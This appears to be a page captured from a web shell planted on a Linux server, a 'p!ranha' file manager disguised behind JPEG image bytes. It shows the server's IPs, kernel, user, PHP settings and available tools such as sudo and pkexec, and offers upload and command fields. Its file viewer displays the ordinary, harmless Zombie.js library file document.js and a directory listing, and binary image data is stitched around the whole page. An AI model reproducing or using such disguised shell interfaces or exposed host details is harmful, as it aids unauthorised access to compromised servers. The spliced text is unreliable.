JFIFHHC     C  " 5????! ??? JFIF    >CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality C     p!ranha?
Server IP : 172.67.137.82  /  Your IP : 104.23.197.47
Web Server : Apache/2.4.51 (Unix) OpenSSL/1.1.1n
System : Linux ip-172-26-8-243 4.19.0-27-cloud-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : daemon ( 1)
PHP Version : 7.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/bitnami/nami/node_modules/zombie/lib/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /opt/bitnami/nami/node_modules/zombie/lib/document.js
// Exports a function for creating/loading new documents.

'use strict';

var _classCallCheck = require('babel-runtime/helpers/class-call-check')['default'];

var _createClass = require('babel-runtime/helpers/create-class')['default'];

var _toArray = require('babel-runtime/helpers/to-array')['default'];

var _slicedToArray = require('babel-runtime/helpers/sliced-to-array')['default'];

var _toConsumableArray = require('babel-runtime/helpers/to-consumable-array')['default'];

var _Object$defineProperties = require('babel-runtime/core-js/object/define-properties')['default'];

var _Object$getOwnPropertyDescriptor = require('babel-runtime/core-js/object/get-own-property-descriptor')['default'];

var _getIterator = require('babel-runtime/core-js/get-iterator')['default'];

var _Object$assign = require('babel-runtime/core-js/object/assign')['default'];

var _Map = require('babel-runtime/core-js/map')['default'];

var assert = require('assert');
var browserFeatures = require('jsdom/lib/jsdom/browser/documentfeatures');
var Fetch = require('./fetch');
var DOM = require('./dom');
var EventSource = require('eventsource');
var iconv = require('iconv-lite');
var QS = require('querystring');
var resourceLoader = require('jsdom/lib/jsdom/browser/resource-loader');
var Resources = require('./resources');
var URL = require('url');
var Utils = require('jsdom/lib/jsdom/utils');
var VM = require('vm');
var WebSocket = require('ws');
var Window = require('jsdom/lib/jsdom/browser/Window');
var XMLHttpRequest = require('./xhr');

// File access, not implemented yet

var File = function File() {
  _classCallCheck(this, File);
}

// Screen object provides access to screen dimensions
;

var Screen = (function () {
  function Screen() {
    _classCallCheck(this, Screen);

    this.top = this.left = 0;
    this.width = 1280;
    this.height = 800;
  }

  // DOM implementation of URL class

  _createClass(Screen, [{
    key: 'availLeft',
    get: function get() {
      return 0;
    }
  }, {
    key: 'availTop',
    get: function get() {
      return 0;
    }
  }, {
    key: 'availWidth',
    get: function get() {
      return 1280;
    }
  }, {
    key: 'availHeight',
    get: function get() {
      return 800;
    }
  }, {
    key: 'colorDepth',
    get: function get() {
      return 24;
    }
  }, {
    key: 'pixelDepth',
    get: function get() {
      return 24;
    }
  }]);

  return Screen;
})();

var DOMURL = (function () {
  function DOMURL(url, base) {
    _classCallCheck(this, DOMURL);

    if (url == null) throw new TypeError('Failed to construct \'URL\': Invalid URL');
    if (base) url = Utils.resolveHref(base, url);
    var parsed = URL.parse(url || 'about:blank');
    var origin = parsed.protocol && parsed.hostname && parsed.protocol + '//' + parsed.hostname;
    _Object$defineProperties(this, {
      hash: { value: parsed.hash, enumerable: true },
      host: { value: parsed.host, enumerable: true },
      hostname: { value: parsed.hostname, enumerable: true },
      href: { value: URL.format(parsed), enumerable: true },
      origin: { value: origin, enumerable: true },
      password: { value: parsed.password, enumerable: true },
      pathname: { value: parsed.pathname, enumerable: true },
      port: { value: parsed.port, enumerable: true },
      protocol: { value: parsed.protocol, enumerable: true },
      search: { value: parsed.search, enumerable: true },
      username: { value: parsed.username, enumerable: true }
    });
  }

  _createClass(DOMURL, [{
    key: 'toString',
    value: function toString() {
      return this.href;
    }
  }]);

  return DOMURL;
})();

function setupWindow(window, args) {
  var document = window.document;
  var browser = args.browser;
  var history = args.history;
  var parent = args.parent;
  var opener = args.opener;

  var closed = false;

  // Catch all errors
  window.onerror = function (message, filename, lineno, colno, error) {
    window._eventQueue.enqueue(function () {
      return browser.emit('error', error);
    });
  };

  // Access to browser
  Object.defineProperty(window, 'browser', {
    value: browser,
    enumerable: true
  });

  window.name = args.name || '';

  // If this was opened from another window
  window.opener = opener && opener._globalProxy;
  // Frames provide their own parent reference
  window._parent = parent || window;
  window._top = (parent || window).top;

  window.console = browser.console;

  // All the resources loaded by this window.
  window.resources = new Resources(window);

  // javaEnabled, present in browsers, not in spec Used by Google Analytics see
  /// https://developer.mozilla.org/en/DOM/window.navigator.javaEnabled
  var emptySet = [];
  emptySet.item = function () {
    return undefined;
  };
  emptySet.namedItem = function () {
    return undefined;
  };
  window.navigator = {
    appName: 'Zombie',
    appVersion: browser.constructor.VERSION,
    cookieEnabled: true,
    javaEnabled: function javaEnabled() {
      return false;
    },
    language: browser.language,
    mimeTypes: emptySet,
    noUI: true,
    platform: process.platform,
    plugins: emptySet,
    userAgent: browser.userAgent,
    vendor: 'Zombie Industries'
  };

  // Add cookies, storage, alerts/confirm, XHR, WebSockets, JSON, Screen, etc
  Object.defineProperty(window, 'cookies', {
    get: function get() {
      return browser.cookies.serialize(this.location.hostname, this.location.pathname);
    }
  });
  browser._storages.extend(window);

  window.File = File;
  window.Event = DOM.Event;
  window.MouseEvent = DOM.MouseEvent;
  window.MutationEvent = DOM.MutationEvent;
  window.UIEvent = DOM.UIEvent;
  window.screen = new Screen();

  // Fetch API
  window.fetch = window.resources._fetch.bind(window.resources);
  window.Request = Fetch.Request;
  window.Response = Fetch.Response;
  window.FormData = Fetch.FormData;

  // Base-64 encoding/decoding
  window.atob = function (string) {
    return new Buffer(string, 'base64').toString('utf8');
  };
  window.btoa = function (string) {
    return new Buffer(string, 'utf8').toString('base64');
  };

  // Constructor for XHLHttpRequest
  window.XMLHttpRequest = function () {
    return new XMLHttpRequest(window);
  };
  window.URL = DOMURL;

  // Web sockets
  window._allWebSockets = [];

  window.WebSocket = function (url, protocol) {
    url = resourceLoader.resolveResourceUrl(document, url);
    var origin = window.location.protocol + '//' + window.location.host;
    var ws = new WebSocket(url, { origin: origin, protocol: protocol });

    // The < 1.x implementations of ws used to allows 'buffer' to be defined
    // as the binary type in node environments. Now, the supported type is
    // 'nodebuffer'. Version of engine.io-client <= 1.6.12 use the 'buffer'
    // type and this is a shim to allow that to keep working unti that version
    // of engine.io-client does not need to be supported anymore
    var origProperty = _Object$getOwnPropertyDescriptor(WebSocket.prototype, 'binaryType');
    Object.defineProperty(ws, 'binaryType', {
      get: function get() {
        return origProperty.get.call(this);
      },
      set: function set(type) {
        if (type === 'buffer') {
          type = 'nodebuffer';
        }
        return origProperty.set.call(this, type);
      }
    });
    window._allWebSockets.push(ws);
    return ws;
  };

  window.Image = function (width, height) {
    var img = new DOM.HTMLImageElement(window.document);
    img.width = width;
    img.height = height;
    return img;
  };

  // DataView: get from globals
  window.DataView = DataView;

  window.resizeTo = function (width, height) {
    window.outerWidth = window.innerWidth = width;
    window.outerHeight = window.innerHeight = height;
  };
  window.resizeBy = function (width, height) {
    window.resizeTo(window.outerWidth + width, window.outerHeight + height);
  };

  // Some libraries (e.g. Backbone) check that this property exists before
  // deciding to use onhashchange, so we need to set it to null.
  window.onhashchange = null;

  // -- JavaScript evaluation

  // Evaluate in context of window. This can be called with a script (String) or a function.
  window._evaluate = function (code, filename) {
    var originalInScope = browser._windowInScope;
    try {
      // The current window, postMessage and window.close need this
      browser._windowInScope = window;
      var result = undefined;
      if (typeof code === 'string' || code instanceof String) result = VM.runInContext(code, window, { filename: filename });else if (code) result = code.call(window);
      browser.emit('evaluated', code, result, filename);
      return result;
    } catch (error) {
      error.filename = error.filename || filename;
      throw error;
    } finally {
      browser._windowInScope = originalInScope;
    }
  };

  // -- Event loop --

  var eventQueue = browser._eventLoop.createEventQueue(window);
  Object.defineProperty(window, '_eventQueue', {
    value: eventQueue
  });
  window.setTimeout = eventQueue.setTimeout.bind(eventQueue);
  window.clearTimeout = eventQueue.clearTimeout.bind(eventQueue);
  window.setInterval = eventQueue.setInterval.bind(eventQueue);
  window.clearInterval = eventQueue.clearInterval.bind(eventQueue);
  window.setImmediate = function (fn) {
    return eventQueue.setTimeout(fn, 0);
  };
  window.clearImmediate = eventQueue.clearTimeout.bind(eventQueue);
  window.requestAnimationFrame = window.setImmediate;
  window.cancelAnimationFrame = window.clearImmediate;

  // Constructor for EventSource, URL is relative to document's.
  window.EventSource = function (url) {
    url = resourceLoader.resolveResourceUrl(document, url);
    var eventSource = new EventSource(url);
    eventQueue.addEventSource(eventSource);
    return eventSource;
  };

  // -- Interaction --

  window.alert = function (message) {
    var handled = browser.emit('alert', message);
    if (!handled) browser.log('Unhandled window.alert("%s")');
    browser.log('alert("%s")', message);
  };

  window.confirm = function (question) {
    var event = { question: question, response: true };
    var handled = browser.emit('confirm', event);
    if (!handled) browser.log('Unhandled window.confirm("%s")');
    var response = !!event.response;
    browser.log('confirm("%s") -> %ss', question, response);
    return response;
  };

  window.prompt = function (question, value) {
    var event = { question: question, response: value || '' };
    var handled = browser.emit('prompt', event);
    if (!handled) browser.log('Unhandled window.prompt("%s")');
    var response = (event.response || '').toString();
    browser.log('prompt("..") -> "%s"', question, response);
    return response;
  };

  // -- Opening and closing --

  // Open one window from another.
  window.open = function (url, name) {
    url = url && resourceLoader.resolveResourceUrl(document, url);
    return browser.tabs.open({ name: name, url: url, opener: window });
  };

  // Indicates if window was closed
  Object.defineProperty(window, 'closed', {
    get: function get() {
      return closed;
    },
    enumerable: true
  });

  // Used by window.close() and also from history.destroy/replace/etc
  // global.
  window._destroy = function () {
    // We call history.destroy which calls destroy on all windows, so need to
    // avoid infinite loop.
    if (closed) return;
    closed = true;

    var _iteratorNormalCompletion = true;
    var _didIteratorError = false;
    var _iteratorError = undefined;

    try {
      for (var _iterator = _getIterator(window._allWebSockets), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {
        var ws = _step.value;

        ws.removeAllListeners();
        ws.close();
      }

      // Close all frames first
    } catch (err) {
      _didIteratorError = true;
      _iteratorError = err;
    } finally {
      try {
        if (!_iteratorNormalCompletion && _iterator['return']) {
          _iterator['return']();
        }
      } finally {
        if (_didIteratorError) {
          throw _iteratorError;
        }
      }
    }

    for (var i = 0; i < window._length; ++i) {
      if (window[i]) window[i].close();
    } // kill event queue, document and window.
    eventQueue.destroy();
    document.close();
  };

  // window.close actually closes the tab, and disposes of all windows in the history.
  // Also used to close iframe.
  window.close = function () {
    if (parent || closed) return;

    // Only opener window can close window; any code that's not running from
    // within a window's context can also close window.
    if (browser._windowInScope === opener || browser._windowInScope === null) {
      browser.tabs._closed(window);
      // Only parent window gets the close event
      browser.emit('closed', window);
      history.destroy(); // do this last to prevent infinite loop
    } else browser.log('Scripts may not close windows that were not opened by script');
  };

  // -- Navigating --

  // Each window maintains its own view of history
  var windowHistory = {
    forward: function forward() {
      windowHistory.go(1);
    },
    back: function back() {
      windowHistory.go(-1);
    },
    go: function go(amount) {
      history.go(amount);
    },
    pushState: function pushState() {
      history.pushState.apply(history, arguments);
    },
    replaceState: function replaceState() {
      history.replaceState.apply(history, arguments);
    },
    dump: function dump(output) {
      history.dump(output);
    }
  };
  _Object$defineProperties(windowHistory, {
    length: {
      get: function get() {
        return history.length;
      },
      enumerable: true
    },
    state: {
      get: function get() {
        return history.state;
      },
      enumerable: true
    }
  });

  // DOM History object
  window.history = windowHistory;
  /// Actual history, see location getter/setter
  window._history = history;

  // Read/write access to window.location
  Object.defineProperty(window, 'location', {
    get: function get() {
      return document.location;
    },
    set: function set(url) {
      history.assign(url);
    }
  });

  // Form submission uses this
  window._submit = function (formArgs) {
    var url = resourceLoader.resolveResourceUrl(document, formArgs.url);
    var target = formArgs.target || '_self';
    browser.emit('submit', url, target);
    // Figure out which history is going to handle this
    var targetWindow = target === '_self' ? window : target === '_parent' ? window.parent : target === '_top' ? window.top : browser.tabs.open({ name: target });
    var modified = _Object$assign({}, formArgs, { url: url, target: target });
    targetWindow._history.submit(modified);
  };

  // Overload jsdom postMessage function, which is added to the window object
  // when created jsdom/lib/jsdom/browser/Window.js.
  // This is needed because jsdom's implementation does not define the source
  // and origin attributes in the issued events.
  // This implementation should be dropped in favor of
  // jsdom/lib/jsdom/living/post-message.js when it supports source and origin.
  window.postMessage = function (data) {
    // Window A (source) calls B.postMessage, to determine A we need the
    // caller's window.

    // DDOPSON-2012-11-09 - _windowInScope.getGlobal() is used here so that for
    // website code executing inside the sandbox context, event.source ==
    // window. Even though the _windowInScope object is mapped to the sandboxed
    // version of the object returned by getGlobal, they are not the same object
    // ie, _windowInScope.foo == _windowInScope.getGlobal().foo, but
    // _windowInScope != _windowInScope.getGlobal()
    var source = this.browser._windowInScope || this;

    var origin = source.location;
    var eventOrigin = URL.format({ protocol: origin.protocol, host: origin.host });

    var event = this.document.createEvent('MessageEvent');
    event.initMessageEvent('message', false, false, data, eventOrigin, null, source, []);

    this.dispatchEvent(event);
  };

  // Inject HTMLDocument.hasFocus function
  // https://developer.mozilla.org/en-US/docs/Web/API/Document/hasFocus
  window._document.hasFocus = function () {
    return browser.tabs.current.document === this;
  };

  // JSDOM fires DCL event on document but not on window
  function windowLoaded(event) {
    document.removeEventListener('DOMContentLoaded', windowLoaded);

    // JSDom > 7.1 does not allow re-dispatching the same event, so
    // a copy of the event needs to be created for the new dispatch
    var windowContentLoaded = document.createEvent('HTMLEvents');
    windowContentLoaded.initEvent('DOMContentLoaded', false, false);
    window.dispatchEvent(windowContentLoaded);
  }
  document.addEventListener('DOMContentLoaded', windowLoaded);

  // Window is now open, next load the document.
  browser.emit('opened', window);
}

// Change location
DOM.Document.prototype.__defineSetter__('location', function (url) {
  this.defaultView.location = url;
});

// Creates an returns a new document attached to the window.
function createDocument(args) {
  var browser = args.browser;

  var features = {
    FetchExternalResources: [],
    ProcessExternalResources: [],
    MutationEvents: '2.0'
  };
  if (args.browser.hasFeature('scripts', true)) {
    features.FetchExternalResources.push('script');
    features.ProcessExternalResources.push('script');
  }
  if (args.browser.hasFeature('css', false)) {
    features.FetchExternalResources.push('css');
    features.FetchExternalResources.push('link');
  }
  if (args.browser.hasFeature('img', false)) features.FetchExternalResources.push('img');
  if (args.browser.hasFeature('iframe', true)) features.FetchExternalResources.push('iframe');

  var window = new Window({
    parsingMode: 'html',
    contentType: 'text/html',
    url: args.url,
    referrer: args.referrer
  });
  var document = window.document;

  browserFeatures.applyDocumentFeatures(document, features);
  setupWindow(window, args);

  // Give event handler chance to register listeners.
  args.browser.emit('loading', document);
  return document;
}

// Get refresh URL and timeout from <meta> tag
function getMetaRefresh(document) {
  var refresh = document.querySelector('meta[http-equiv="refresh"]');
  if (refresh) {
    var content = refresh.getAttribute('content');
    var match = content.match(/^\s*(\d+)(?:\s*;\s*url\s*=\s*(.*?))?\s*(?:;|$)/i);
    if (match) {
      var refreshTimeout = parseInt(match[1], 10);
      var refreshURL = match[2] || document.location.href;
      if (refreshTimeout >= 0) return { refreshTimeout: refreshTimeout, refreshURL: refreshURL };
    }
  }
  return null;
}

// Find the charset= value of the meta tag
var MATCH_CHARSET = /<meta(?!\s*(?:name|value)\s*=)[^>]*?charset\s*=[\s"']*([^\s"'\/>]*)/i;

// Extract HTML from response with the proper encoding:
// - If content type header indicates charset use that
// - Otherwise, look for <meta> tag with charset in body
// - Otherwise, browsers default to windows-1252 encoding
function getHTMLFromResponseBody(buffer, contentType) {
  var _contentType$split = contentType.split(/;\s*/);

  var _contentType$split2 = _toArray(_contentType$split);

  var mimeType = _contentType$split2[0];

  var typeOptions = _contentType$split2.slice(1);

  // Pick charset from content type
  if (mimeType) {
    var _iteratorNormalCompletion2 = true;
    var _didIteratorError2 = false;
    var _iteratorError2 = undefined;

    try {
      for (var _iterator2 = _getIterator(typeOptions), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {
        var typeOption = _step2.value;

        if (/^charset=/i.test(typeOption)) {
          var charset = typeOption.split('=')[1];
          return iconv.decode(buffer, charset);
        }
      }
    } catch (err) {
      _didIteratorError2 = true;
      _iteratorError2 = err;
    } finally {
      try {
        if (!_iteratorNormalCompletion2 && _iterator2['return']) {
          _iterator2['return']();
        }
      } finally {
        if (_didIteratorError2) {
          throw _iteratorError2;
        }
      }
    }
  } // Otherwise, HTML documents only, pick charset from meta tag
  // Otherwise, HTML documents only, default charset in US is windows-1252
  var charsetInMetaTag = buffer.toString().match(MATCH_CHARSET);
  if (charsetInMetaTag) return iconv.decode(buffer, charsetInMetaTag[1]);else return iconv.decode(buffer, 'windows-1252');
}

// Builds and returns a new Request, adding form parameters to URL (GET) or
// request body (POST).
function buildRequest(args) {
  var browser = args.browser;
  var method = args.method;

  var params = args.params || new _Map();
  var site = /^(https?:|file:)/i.test(browser.site) ? browser.site : 'http://' + (browser.site || 'locahost');
  var url = Utils.resolveHref(site, URL.format(args.url));

  var headers = new Fetch.Headers(args.headers);

  // HTTP header Referer, but Document property referrer
  var referrer = args.referrer || browser.referrer || browser.referer || args.history.url;
  if (referrer && !headers.has('Referer')) headers.set('Referer', referrer);
  if (!headers.has('Accept')) headers.set('Accept', 'text/html,*/*');

  if (/^GET|HEAD|DELETE$/i.test(method)) {
    var uri = URL.parse(url, true);
    // These methods use query string parameters instead
    var _iteratorNormalCompletion3 = true;
    var _didIteratorError3 = false;
    var _iteratorError3 = undefined;

    try {
      for (var _iterator3 = _getIterator(params), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {
        var _step3$value = _slicedToArray(_step3.value, 2);

        var _name = _step3$value[0];
        var values = _step3$value[1];

        uri.query[_name] = values;
      }
    } catch (err) {
      _didIteratorError3 = true;
      _iteratorError3 = err;
    } finally {
      try {
        if (!_iteratorNormalCompletion3 && _iterator3['return']) {
          _iterator3['return']();
        }
      } finally {
        if (_didIteratorError3) {
          throw _iteratorError3;
        }
      }
    }

    return new Fetch.Request(URL.format(uri), { method: method, headers: headers });
  }

  var mimeType = (args.encoding || '').split(';')[0].toLowerCase();
  // Default mime type, but can also be specified in form encoding
  if (mimeType === '' || mimeType === 'application/x-www-form-urlencoded') {
    var urlEncoded = [].concat(_toConsumableArray(params)).map(function (_ref) {
      var _ref2 = _slicedToArray(_ref, 2);

      var name = _ref2[0];
      var values = _ref2[1];

      return values.map(function (value) {
        return QS.escape(name) + '=' + QS.escape(value);
      }).join('&');
    }).join('&');

    headers.set('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');
    return new Fetch.Request(url, { method: method, headers: headers, body: urlEncoded });
  }

  if (mimeType === 'multipart/form-data') {
    var form = new Fetch.FormData();
    var _iteratorNormalCompletion4 = true;
    var _didIteratorError4 = false;
    var _iteratorError4 = undefined;

    try {
      for (var _iterator4 = _getIterator(params), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {
        var _step4$value = _slicedToArray(_step4.value, 2);

        var _name2 = _step4$value[0];
        var values = _step4$value[1];
        var _iteratorNormalCompletion5 = true;
        var _didIteratorError5 = false;
        var _iteratorError5 = undefined;

        try {
          for (var _iterator5 = _getIterator(values), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {
            var value = _step5.value;

            form.append(_name2, value);
          }
        } catch (err) {
          _didIteratorError5 = true;
          _iteratorError5 = err;
        } finally {
          try {
            if (!_iteratorNormalCompletion5 && _iterator5['return']) {
              _iterator5['return']();
            }
          } finally {
            if (_didIteratorError5) {
              throw _iteratorError5;
            }
          }
        }
      }
    } catch (err) {
      _didIteratorError4 = true;
      _iteratorError4 = err;
    } finally {
      try {
        if (!_iteratorNormalCompletion4 && _iterator4['return']) {
          _iterator4['return']();
        }
      } finally {
        if (_didIteratorError4) {
          throw _iteratorError4;
        }
      }
    }

    return new Fetch.Request(url, { method: method, headers: headers, body: form });
  }

  throw new TypeError('Unsupported content type ' + mimeType);
}

// Parse HTML response and setup document
function parseResponse(_ref3) {
  var browser = _ref3.browser;
  var history = _ref3.history;
  var document = _ref3.document;
  var response = _ref3.response;

  var window = document.defaultView;
  window._request = response.request;
  window._response = response;
  history.updateLocation(window, response._url);

  var done = window._eventQueue.waitForCompletion();
  response._consume().then(function (body) {

    var contentType = response.headers.get('Content-Type') || '';
    var html = getHTMLFromResponseBody(body, contentType);
    response.body = html;
    document.write(html || '<html></html>');
    document.close();

    browser.emit('loaded', document);
    if (response.status >= 400) throw new Error('Server returned status code ' + response.status + ' from ' + response.url);
    if (!document.documentElement) throw new Error('Could not parse document at ' + response.url);
  }).then(function () {

    // Handle meta refresh.  Automatically reloads new location and counts
    // as a redirect.
    //
    // If you need to check the page before refresh takes place, use this:
    //   browser.wait({
    //     function: function() {
    //       return browser.query('meta[http-equiv="refresh"]');
    //     }
    //   });
    var refresh = getMetaRefresh(document);

    if (refresh) {
      (function () {
        var refreshTimeout = refresh.refreshTimeout;
        var refreshURL = refresh.refreshURL;

        window._eventQueue.setTimeout(function () {
          // Allow completion function to run
          window._eventQueue.enqueue(function () {
            window._eventQueue.enqueue(function () {
              // Count a meta-refresh in the redirects count.
              history.replace(refreshURL);
              // This results in a new window getting loaded
              var newWindow = history.current.window;
              newWindow.addEventListener('load', function () {
                ++newWindow._request._redirectCount;
              });
            });
          });
        }, refreshTimeout * 1000);
      })();
    }
  })['catch'](function (error) {
    browser.emit('error', error);
  }).then(done);
}

// Load/create a new document.
//
// Named arguments:
// browser   - The browser (required)
// history   - Window history (required)
// url       - URL of document to open (defaults to "about:blank")
// method    - HTTP method (defaults to "GET")
// encoding  - Request content type (forms use this)
// params    - Additional request parameters (Map)
// html      - Create document with this content instead of loading from URL
// name      - Window name
// referrer  - HTTP referer header
// parent    - Parent document (for frames)
// opener    - Opening window (for window.open)
// target    - Target window name (for form.submit)
//
// Returns a new document with a new window.  The document contents is loaded
// asynchronously, and will trigger a loaded/error event.
module.exports = function loadDocument(args) {
  var browser = args.browser;
  var history = args.history;
  var html = args.html;
  var url = args.url;

  assert(browser && browser.visit, 'Missing parameter browser');
  assert(history && history.reload, 'Missing parameter history');

  var document = createDocument(_Object$assign({ url: url }, args));
  var window = document.defaultView;

  if (html) {
    window._eventQueue.enqueue(function () {
      document.write(html);
      document.close();
      browser.emit('loaded', document);
    });
    return document;
  }

  // Let's handle the specifics of each protocol
  if (!url || /^about:/.test(url)) {
    window._eventQueue.enqueue(function () {
      document.close();
      browser.emit('loaded', document);
    });
    return document;
  }

  if (/^javascript:/.test(url)) {
    window._eventQueue.enqueue(function () {
      document.close();
      try {
        window._evaluate(url.slice(11), 'javascript:');
        browser.emit('loaded', document);
      } catch (error) {
        browser.emit('error', error);
      }
    });
    return document;
  }

  var request = buildRequest(args);
  window._eventQueue.http(request, function (error, response) {
    if (error) {
      document.write('<html><body>' + error.message + '</body></html>');
      document.close();
      browser.emit('error', error);
    } else parseResponse({ browser: browser, history: history, document: document, response: response });
  });
  return document;
};
//# sourceMappingURL=document.js.map
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
May 08 2020 10:55:41
root / root
0755
dom
--
May 08 2020 10:55:34
root / root
0755
assert.js
15.776 KB
October 26 1985 08:15:00
root / root
0644
assert.js.map
17.641 KB
October 26 1985 08:15:00
root / root
0644
console.js
3.041 KB
October 26 1985 08:15:00
root / root
0644
console.js.map
4.158 KB
October 26 1985 08:15:00
root / root
0644
cookies.js
6.441 KB
October 26 1985 08:15:00
root / root
0644
cookies.js.map
8.47 KB
October 26 1985 08:15:00
root / root
0644
document.js
28.741 KB
October 26 1985 08:15:00
root / root
0644
document.js.map
44.7 KB
October 26 1985 08:15:00
root / root
0644
eventloop.js
21.406 KB
October 26 1985 08:15:00
root / root
0644
eventloop.js.map
27.225 KB
October 26 1985 08:15:00
root / root
0644
fetch.js
16.505 KB
October 26 1985 08:15:00
root / root
0644
fetch.js.map
24.317 KB
October 26 1985 08:15:00
root / root
0644
history.js
17.116 KB
October 26 1985 08:15:00
root / root
0644
history.js.map
26.193 KB
October 26 1985 08:15:00
root / root
0644
index.js
58.491 KB
October 26 1985 08:15:00
root / root
0644
index.js.map
71.396 KB
October 26 1985 08:15:00
root / root
0644
pipeline.js
13.523 KB
October 26 1985 08:15:00
root / root
0644
pipeline.js.map
19.594 KB
October 26 1985 08:15:00
root / root
0644
reroute.js
3.425 KB
October 26 1985 08:15:00
root / root
0644
reroute.js.map
5.298 KB
October 26 1985 08:15:00
root / root
0644
resources.js
4.751 KB
October 26 1985 08:15:00
root / root
0644
resources.js.map
5.399 KB
October 26 1985 08:15:00
root / root
0644
storage.js
17.767 KB
October 26 1985 08:15:00
root / root
0644
storage.js.map
13.677 KB
October 26 1985 08:15:00
root / root
0644
tabs.js
7.746 KB
October 26 1985 08:15:00
root / root
0644
tabs.js.map
9.596 KB
October 26 1985 08:15:00
root / root
0644
xhr.js
10.206 KB
October 26 1985 08:15:00
root / root
0644
xhr.js.map
16.757 KB
October 26 1985 08:15:00
root / root
0644
 $.' ",#(7),01444'9=82<.342 C  2!!22222222222222222222222222222222222222222222222222  }|"        } !1AQa "q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a        w !1AQ aq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz& !0`""a   ? HRjA <̒.9;r8 Sc*#k0a0 ZY 7/$ #'Ri'H/]< q_LW9c#5AG5#T8N38UJ1z]k{}ߩ)me&/lcBa8l S7(S `AI&L@3v, y cF0-Juh!{~?"=nqo~$ѻj]M >[?) ms~=*{7E5);6!,  0G K >a9$m$ds*+ Cc r{ ogf X~2v 8SВ~W5S*&atnݮ:%J{h[K }y~b6F8 9 1;ϡa{{u/[nJi- f=Ȯ8O!c H%N@<}qlu"a&xHm<*7"& #!|Ӧqfx"oN{F;`!q9vRqR?~8p)ܵRJ Q @Xy{*ORs~QaRqE65I 5+0y FKj}uwkϮj+z{kgx5(fnrFG8QjVVF)2 `vGLsVI,ݣa(`:L0e V+2h hs`iVS4SaۯsJ-밳Mw$Qd d }}Ʒ7"asA:rR.v@ jY%`5\ܲ2H׭*d_(ܻ#'X 0r1R>"2~9Ҳ}:XgVI?*!-N=3sϿ*{":4ahKG9G{M]+]˸ `mcϱy=y:)T&J>d$nz2 sn`ܫS;y }=px`M=i* ޲ 1}=qxj Qy`A,2ScR;wfT#`~ jaR59HVyA99?aQ vNq!C=:a#m#bY /(SRt Q~ Cɶ~ VB ~2ONOZrA Af^3\t_-ϦnJ[/|2#[!,O|sV/|IS$cFwt+zTayLPZ>#a ^r7d\u "3 83&DT S@rOW PSܣ[0};NRWk "VHl>Zܠnw :q׷el,44`;/I'pxaS";vixUuY1#:}T[{Kwi ma99 c#23ɫx-3iiW"~- yY"8|c-< S#30qmI"d cqf  #5PXW ty?ysvYUB(01 JǦ5%u'ewͮ{maܳ0!B0A~z{a{kc B ` ==}r Wh{xK% s9U@p7c}1WR^yY\ brp8'sֺk'K}"+l44?0I"ڳ.0d)@fPq׬F~ZY 3"BAF$SN  @(a lbW\vxNjZIF`6 ?! Nxҩҭ OxM{jqR 0 &yL%?y$"\p4:&u$aC$xo>TK@'y{~4KcC v}&y?]Ol|_; ϡRn r[mܡ}4D}:) $XxaY8i" !pJ"V^0 Rien% 8eeY,S =?E k"bi0ʶI=O:Sk>hKON9K2uPf*ny41l~}I~*E FSj%RP7U0Ul(D2z>a}X ƭ,~C<B6 2| HC#%:a7"Sa'ysK4!0R{szR5HC+=}ygn0c|SOA9kԮ}f"R#copIC~é :^eef # <3ֻxשƤ"ӽ94'_LOF90 &ܧܭS0R0#o8#R6y}73G^2~ox:##Sr=k41 r  zo 7"_=`0ld` qt+9?x%m,{.j;%h*:U}qfp}  g$*{XLI:"fB\BUzrRr#Ь +(Px:$SR~tk9ab! S#G'oUSGv4v} Sb{{)PҺ#Bܬ86GˏdTmV$gi&'r:1SSҠ" rP*I[N9_["#Kr.F*I?ts Thյ % =ଣa$|E"~GG O#,yϩ&~\\c1L2HQR :}9!`͐ɾF''yNp|=~D""vn2s~GL IUPUw-/mme] ? aZeki,q0c10PTpAg%zS߰2ĤU]`~I;px?_Z|^agD )~J0E]##o"NO09>"Sưpc`I}˯ JG~ +dcQj's&v6}ib %\r9gxuMg~x}0?*Wa^O*#  1wssRpTpU(u}`Ref  9bݿ 1FS999)e cs{'uOSܺ0fee6~yoƧ9"%f80(OOj&E T&%rKz?.;{aX!xeUd!x9t%wO_ocM- jHX_iK#*) ~@}{ ǽBd0Rn07 y@̢ 9?S ޫ>u'ʴu\"uW5֒HYtL B}GLZTg ܰ fb69\PP 緶;!3Ln]H8:@ S}>oޢ5%k:N ",xfpHbRL0 ~} e pF0'}=T0"!&zt9?F&yR`I #}J'76w`:q*2::ñޤ<  | 'F^q`gkqyxL; Rx?!Y7P}wn ·.KUٿGr4+ %EK/ uvzTp{{wEyvi 0X :}OS'aHKq*mF@\N:t^*sn }29T.\ @>7NFNRӷwEua'[c̐O`. Ps) gu5DUR;aF$`[CFZHUB M<9SRUFwv&#s$fLg8Q$q9Jez`R[' ?zﶥu3(MSs}0@9$&-ߦO"g`+n'k/ !$-1)ae2`g۰Z#r 9|ը}Iѭǻ1Bc.qR u`^սSmk}uzmSi<6{m}VUv3 SqRSԶ9{" bg@R Tqinl!1`+xq~:f ihjz&w"RI'9nSvmUۍ"I-_kK{ivimQ|o-~}j:`|ܨ qRR~yw@q%彶imoj0hF;8,:yuO'|;ڦR%:tF~ Ojߩa)ZVjkHf&#a'R\"Il`9dL9t"Ĭ7}:v /1`!n9!$ RqzRsF[In%f"R~ps9rzaRq6ۦ=0i+?HVRheIr:7f 